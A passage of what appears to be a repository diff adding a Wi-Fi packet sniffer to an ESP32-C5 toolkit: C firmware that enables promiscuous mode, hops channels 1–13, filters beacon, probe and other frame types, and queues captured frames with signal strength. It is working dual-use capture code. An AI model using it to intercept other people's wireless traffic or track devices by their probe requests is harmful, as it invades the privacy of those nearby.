|
||||
// Channel hopping settings
|
||||
#define CHANNEL_HOP_INTERVAL_MS 200
|
||||
static const uint8_t channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13};
|
||||
static const uint8_t channels_count = sizeof(channels)/sizeof(channels[0]);
|
||||
|
||||
// Forward declaration
|
||||
static void wifi_sniffer_packet_handler(void *buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void channel_hopper_task(void *pvParameters);
|
||||
static void single_channel_retry_task(void *pvParameters);
|
||||
|
||||
// Start WiFi sniffer
|
||||
bool start_wifi_sniffer(uint8_t channel, uint8_t filter_type) {
|
||||
ESP_LOGI(TAG, "Starting WiFi sniffer on channel %d with filter type %d", channel, filter_type);
|
||||
|
||||
// Create mutex if not already created
|
||||
if (sniffer_running_mutex == NULL) {
|
||||
sniffer_running_mutex = xSemaphoreCreateMutex();
|
||||
if (sniffer_running_mutex == NULL) {
|
||||
ESP_LOGI(TAG, "Failed to create sniffer mutex");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Take mutex
|
||||
if (xSemaphoreTake(sniffer_running_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
ESP_LOGI(TAG, "Failed to take sniffer mutex");
|
||||
return false;
|
||||
}
|
||||
|
||||
// If sniffer is already running, release mutex and return error
|
||||
// (calling stop_wifi_sniffer while holding the mutex would cause deadlock)
|
||||
if (is_sniffer_running) {
|
||||
ESP_LOGW(TAG, "Sniffer already running");
|
||||
xSemaphoreGive(sniffer_running_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create packet queue if not already created
|
||||
if (packet_queue == NULL) {
|
||||
packet_queue = xQueueCreate(MAX_PACKETS_QUEUE, sizeof(packet_info_t*));
|
||||
if (packet_queue == NULL) {
|
||||
ESP_LOGI(TAG, "Failed to create packet queue");
|
||||
xSemaphoreGive(sniffer_running_mutex);
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
// Queue exists, make sure it's empty
|
||||
packet_info_t *packet;
|
||||
while (xQueueReceive(packet_queue, &packet, 0) == pdTRUE) {
|
||||
if (packet) free(packet);
|
||||
}
|
||||
}
|
||||
|
||||
// Save configuration
|
||||
current_channel = channel;
|
||||
current_filter = filter_type;
|
||||
|
||||
// Get current WiFi mode and save it
|
||||
wifi_mode_t original_mode;
|
||||
ESP_ERROR_CHECK(esp_wifi_get_mode(&original_mode));
|
||||
|
||||
// Set to APSTA mode to ensure we keep the AP running while scanning
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||
|
||||
// Set sniffer filter based on packet type
|
||||
wifi_promiscuous_filter_t filter = {0};
|
||||
switch (filter_type) {
|
||||
case 1: // Management frames
|
||||
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT;
|
||||
break;
|
||||
case 2: // Data frames
|
||||
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA;
|
||||
break;
|
||||
case 3: // Control frames
|
||||
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_CTRL;
|
||||
break;
|
||||
case 4: // Beacon frames only
|
||||
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT;
|
||||
// We'll filter in the callback for beacon frames only
|
||||
break;
|
||||
case 5: // Probe frames only
|
||||
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT;
|
||||
// We'll filter in the callback for probe frames only
|
||||
break;
|
||||
default: // All packets
|
||||
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_ALL;
|
||||
}
|
||||
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
// Register packet handler
|
||||
esp_wifi_set_promiscuous_rx_cb(wifi_sniffer_packet_handler);
|
||||
|
||||
// Enable promiscuous mode
|
||||
esp_wifi_set_promiscuous(true);
|
||||
|
||||
// Set the channel or start channel hopping
|
||||
if (channel == 0) {
|
||||
// Start channel hopping task
|
||||
xTaskCreate(channel_hopper_task, "channel_hopper", 2048, NULL, 5, &channel_hopper_task_handle);
|
||||
} else {
|
||||
// Set specific channel
|
||||
esp_err_t err = esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Failed to set initial channel %d: %s", channel, esp_err_to_name(err));
|
||||
ESP_LOGI(TAG, "Will retry setting channel in background");
|
||||
|
||||
// Create a parameter structure to pass the channel
|
||||
uint8_t *channel_param = malloc(sizeof(uint8_t));
|
||||
if (channel_param) {
|
||||
*channel_param = channel;
|
||||
|
||||
// Start a task to keep trying to set the channel
|
||||
BaseType_t ret = xTaskCreate(single_channel_retry_task, "channel_retry", 2048, channel_param, 5, &channel_hopper_task_handle);
|
||||
if (ret != pdPASS) {
|
||||
// Task creation failed, free the allocated memory
|
||||
free(channel_param);
|
||||
ESP_LOGE(TAG, "Failed to create channel retry task");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
is_sniffer_running = true;
|
||||
xSemaphoreGive(sniffer_running_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "WiFi sniffer started successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Helper function to clean up packet queue (fixes memory leak)
|
||||
static void cleanup_packet_queue(void) {
|
||||
if (packet_queue == NULL) return;
|
||||
|
||||
packet_info_t *packet;
|
||||
int freed_count = 0;
|
||||
while (xQueueReceive(packet_queue, &packet, 0) == pdTRUE) {
|
||||
if (packet) {
|
||||
free(packet);
|
||||
freed_count++;
|
||||
}
|
||||
}
|
||||
if (freed_count > 0) {
|
||||
ESP_LOGI(TAG, "Cleaned up %d packets from queue", freed_count);
|
||||
}
|
||||
}
|
||||
|
||||
// Stop WiFi sniffer
|
||||
bool stop_wifi_sniffer(void) {
|
||||
ESP_LOGI(TAG, "Stopping WiFi sniffer");
|
||||
|
||||
// Take mutex
|
||||
if (sniffer_running_mutex == NULL || xSemaphoreTake(sniffer_running_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
ESP_LOGI(TAG, "Failed to take sniffer mutex");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if sniffer is running
|
||||
if (!is_sniffer_running) {
|
||||
ESP_LOGW(TAG, "Sniffer not running");
|
||||
xSemaphoreGive(sniffer_running_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Mark as not running first to stop packet handler from adding more packets
|
||||
is_sniffer_running = false;
|
||||
|
||||
// Disable promiscuous mode
|
||||
esp_wifi_set_promiscuous(false);
|
||||
|
||||
// Stop channel hopping task if running (safe deletion)
|
||||
TaskHandle_t task_to_delete = channel_hopper_task_handle;
|
||||
channel_hopper_task_handle = NULL; // Clear handle first
|
||||
|
||||
if (task_to_delete != NULL) {
|
||||
// Suspend task before deletion to ensure it's in a safe state
|
||||
vTaskSuspend(task_to_delete);
|
||||
vTaskDelay(pdMS_TO_TICKS(10)); // Allow task to reach safe point
|
||||
vTaskDelete(task_to_delete);
|
||||
}
|
||||
|
||||
// Clean up any remaining packets in the queue (fixes memory leak)
|
||||
cleanup_packet_queue();
|
||||
|
||||
xSemaphoreGive(sniffer_running_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "WiFi sniffer stopped successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Get captured packets
|
||||
int get_captured_packets(void **packets, int max_packets) {
|
||||
// Take mutex
|
||||
if (sniffer_running_mutex == NULL || xSemaphoreTake(sniffer_running_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
ESP_LOGI(TAG, "Failed to take sniffer mutex");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Check if sniffer is running
|
||||
if (!is_sniffer_running) {
|
||||
xSemaphoreGive(sniffer_running_mutex);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get packets from queue (up to max_packets)
|
||||
int count = 0;
|
||||
packet_info_t *packet;
|
||||
|
||||
while (count < max_packets && xQueueReceive(packet_queue, &packet, 0) == pdTRUE) {
|
||||
packets[count++] = packet;
|
||||
}
|
||||
|
||||
xSemaphoreGive(sniffer_running_mutex);
|
||||
return count;
|
||||
}
|
||||
|
||||
// Channel hopper task
|
||||
static void channel_hopper_task(void *pvParameters) {
|
||||
int current_idx = 0;
|
||||
int failed_attempts = 0;
|
||||
|
||||
ESP_LOGI(TAG, "Channel hopper task started");
|
||||
|
||||
while (1) {
|
||||
// Use each channel in sequence
|
||||
uint8_t new_channel = channels[current_idx];
|
||||
|
||||
// Try to set the channel and check for errors
|
||||
esp_err_t err = esp_wifi_set_channel(new_channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
if (err == ESP_OK) {
|
||||
// Channel set successfully
|
||||
ESP_LOGD(TAG, "Hopped to channel %d", new_channel);
|
||||
current_idx = (current_idx + 1) % channels_count;
|
||||
failed_attempts = 0;
|
||||
} else {
|
||||
// Failed to set channel
|
||||
failed_attempts++;
|
||||
ESP_LOGD(TAG, "Failed to hop to channel %d: %s (attempt %d)",
|
||||
new_channel, esp_err_to_name(err), failed_attempts);
|
||||
|
||||
// If we've failed multiple times, wait longer before trying again
|
||||
if (failed_attempts > 5) {
|
||||
ESP_LOGW(TAG, "Multiple channel hop failures, waiting longer...");
|
||||
vTaskDelay((CHANNEL_HOP_INTERVAL_MS * 5) / portTICK_PERIOD_MS);
|
||||
|
||||
// Reset failed attempts counter after waiting
|
||||
failed_attempts = 0;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Wait before hopping again
|
||||
vTaskDelay(CHANNEL_HOP_INTERVAL_MS / portTICK_PERIOD_MS);
|
||||
}
|
||||
}
|
||||
|
||||
// Packet handler
|
||||
static void wifi_sniffer_packet_handler(void *buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!buf) return;
|
||||
|
||||
// Check if sniffer is running (volatile read for thread safety)
|
||||
// Note: We don't take the mutex here as it would be too slow for packet handling
|
||||
// The is_sniffer_running flag is checked atomically and we gracefully handle
|
||||
// any packets that arrive during shutdown
|
||||
if (!is_sniffer_running || packet_queue == NULL) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf;
|
||||
wifi_pkt_rx_ctrl_t *rx_ctrl = &pkt->rx_ctrl;
|
||||
|
||||
// If we have a specific filter for beacon or probe, check it here
|
||||
if (current_filter == 4 || current_filter == 5) {
|
||||
// Get frame control field to determine if it's a beacon or probe
|
||||
const uint8_t *frame = pkt->payload;
|
||||
uint16_t frame_control = frame[0] | (frame[1] << 8);
|
||||
uint8_t type = (frame_control & 0x000C) >> 2;
|
||||
uint8_t subtype = (frame_control & 0x00F0) >> 4;
|
||||
|
||||
if (current_filter == 4) { // Beacon frames only
|
||||
if (!(type == 0 && subtype == 8)) { // Not a beacon
|
||||
return;
|
||||
}
|
||||
} else if (current_filter == 5) { // Probe frames only
|
||||
if (!(type == 0 && (subtype == 4 || subtype == 5))) { // Not a probe request/response
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate memory for packet info
|
||||
packet_info_t *packet_info = malloc(sizeof(packet_info_t));
|
||||
if (!packet_info) {
|
||||
ESP_LOGI(TAG, "Failed to allocate memory for packet info");
|
||||
return;
|
||||
}
|
||||
|
||||
// Copy packet data
|
||||
uint16_t payload_len = rx_ctrl->sig_len - 4; // Remove FCS
|
||||
if (payload_len > MAX_PACKET_SIZE) {
|
||||
payload_len = MAX_PACKET_SIZE;
|
||||
}
|
||||
|
||||
// Fill packet info
|
||||
packet_info->rx_ctrl = *rx_ctrl;
|
||||
packet_info->length = payload_len;
|
||||
packet_info->rssi = rx_ctrl->rssi;
|
||||
packet_info->channel = rx_ctrl->channel;
|
||||
memcpy(packet_info->data, pkt->payload, payload_len);
|
||||
|
||||
// Update signal analysis
|
||||
signal_update_packet(rx_ctrl->channel, rx_ctrl->rssi);
|
||||
|
||||
// Add to queue, if queue is full, discard oldest packet
|
||||
packet_info_t *old_packet;
|
||||
if (xQueueSend(packet_queue, &packet_info, 0) != pdTRUE) {
|
||||
if (xQueueReceive(packet_queue, &old_packet, 0) == pdTRUE) {
|
||||
if (old_packet) free(old_packet);
|
||||
xQueueSend(packet_queue, &packet_info, 0);
|
||||
} else {
|
||||
// This shouldn't happen, but free the packet if we can't add it
|
||||
free(packet_info);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Task to retry setting a single channel
|
||||
static void single_channel_retry_task(void *pvParameters) {
|
||||
uint8_t target_channel = *(uint8_t*)pvParameters;
|
||||
int retry_count = 0;
|
||||
|
||||
// Free the parameter memory
|
||||
free(pvParameters);
|
||||
|
||||
ESP_LOGI(TAG, "Channel retry task started for channel %d", target_channel);
|
||||
|
||||
while (is_sniffer_running && retry_count < 20) { // Limit retries to avoid infinite loop
|
||||
esp_err_t err = esp_wifi_set_channel(target_channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "Successfully set channel to %d after %d retries", target_channel, retry_count);
|
||||
break;
|
||||
}
|
||||
|
||||
retry_count++;
|
||||
ESP_LOGD(TAG, "Retry %d: Failed to set channel %d: %s",
|
||||
retry_count, target_channel, esp_err_to_name(err));
|
||||
|
||||
// Exponential backoff for retries
|
||||
int delay_ms = CHANNEL_HOP_INTERVAL_MS * (1 << (retry_count > 5 ? 5 : retry_count));
|
||||
vTaskDelay(delay_ms / portTICK_PERIOD_MS);
|
||||
}
|
||||
|
||||
if (retry_count >= 20) {
|
||||
ESP_LOGW(TAG, "Failed to set channel %d after maximum retries", target_channel);
|
||||
}
|
||||
|
||||
// Delete self
|
||||
channel_hopper_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
39
ESP32-C5-Toolkit/main/wifi_sniffer.h
Normal file
39
ESP32-C5-Toolkit/main/wifi_sniffer.h
Normal file
@@ -0,0 +1,39 @@
|
||||
#ifndef WIFI_SNIFFER_H
|
||||
#define WIFI_SNIFFER_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include "esp_wifi_types.h"
|
||||
|
||||
/**
|
||||
* @brief Start WiFi packet sniffer
|
||||
*
|
||||
* @param channel Channel to sniff on (0 for channel hopping)
|
||||
* @param filter_type Type of packets to capture:
|
||||
* 0: All packets
|
||||
* 1: Management frames only
|
||||
* 2: Data frames only
|
||||
* 3: Control frames only
|
||||
* 4: Beacon frames only
|
||||
* 5: Probe request/response only
|
||||
* @return true if sniffer started successfully
|
||||
*/
|
||||
bool start_wifi_sniffer(uint8_t channel, uint8_t filter_type);
|
||||
|
||||
/**
|
||||
* @brief Stop WiFi packet sniffer
|
||||
*
|
||||
* @return true if sniffer stopped successfully
|
||||
*/
|
||||
bool stop_wifi_sniffer(void);
|
||||
|
||||
/**
|
||||
* @brief Get captured packets
|
||||
*
|
||||
* @param packets Array of pointers to store packet data (must be freed by caller)
|
||||
* @param max_packets Maximum number of packets to retrieve
|
||||
* @return Number of packets retrieved
|
||||
*/
|
||||
int get_captured_packets(void **packets, int max_packets);
|
||||
|
||||
#endif /* WIFI_SNIFFER_H */
|
||||
Reference in New Issue
Block a user